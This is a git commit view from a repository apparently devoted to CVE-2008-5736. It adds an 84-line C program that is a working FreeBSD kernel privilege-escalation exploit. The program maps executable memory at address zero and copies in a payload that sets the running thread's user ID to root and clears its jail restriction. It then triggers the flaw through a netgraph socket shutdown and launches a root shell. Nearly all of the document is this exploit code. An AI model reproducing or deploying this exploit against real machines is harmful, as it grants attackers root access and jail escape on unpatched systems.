diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-02-26 21:16:18 -0500 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2011-02-26 21:16:18 -0500 |
commit | 395301fae72bdb466a51f8cc1ea950fe8db8be64 (patch) | |
tree | a6ca16f7efc4475a0c466e4796e0e9a25953acbf | |
parent | Instead of going to a fixed place, as Don does, search the entire kernel for the locks that are commonly before allproc. (diff) | |
download | CVE-2008-5736-395301fae72bdb466a51f8cc1ea950fe8db8be64.tar.xz CVE-2008-5736-395301fae72bdb466a51f8cc1ea950fe8db8be64.zip |
Since the template search is a little buggy and sometimes causes panic, just do a more traditional UID=0 for the current thread and then execl sh into the process.
-rw-r--r-- | current-thread-exec.c | 84 |
1 files changed, 84 insertions, 0 deletions
diff --git a/current-thread-exec.c b/current-thread-exec.c new file mode 100644 index 0000000..9f2f7b2 --- /dev/null +++ b/current-thread-exec.c @@ -0,0 +1,84 @@ +#define _KERNEL +#include <sys/param.h> +#include <sys/mman.h> +#include <sys/time.h> +#include <sys/stat.h> +#include <sys/proc.h> +#include <sys/ucred.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <netgraph/ng_socket.h> +#include <unistd.h> +#include <stdlib.h> +#include <stdio.h> +#include <errno.h> + +#define PAGES 1 + +typedef unsigned long ulong; +typedef unsigned char uchar; + +int +x(void) +{ + struct thread *thread; + + asm( + "movl %%fs:0, %0" + : "=r"(thread) + ); + + thread->td_critnest = 0; + thread->td_proc->p_ucred->cr_uid = 0; + thread->td_proc->p_ucred->cr_prison = NULL; + + return 0; + +} + +int +main(int argc, char * argv[]) +{ + uchar * c; + uchar * d; + void * v; + int s; + + v = mmap( + NULL, + (PAGES * PAGE_SIZE), + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_ANON | MAP_FIXED, + -1, + 0); + if(v == MAP_FAILED) { + perror("mmap"); + return 0; + } + + c = v; + d = (uchar * )x; + while(1) { + *c = *d; + if(*d == 0xc3) + break; + + d++; + c++; + } + *c++ = 0xc3; + + s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA); + if(s < 0) { + perror("socket"); + return 1; + } + + shutdown(s, SHUT_RDWR); + + setuid(0); + setgid(0); + execl("/bin/sh", "sh", NULL); + + return 0; +} |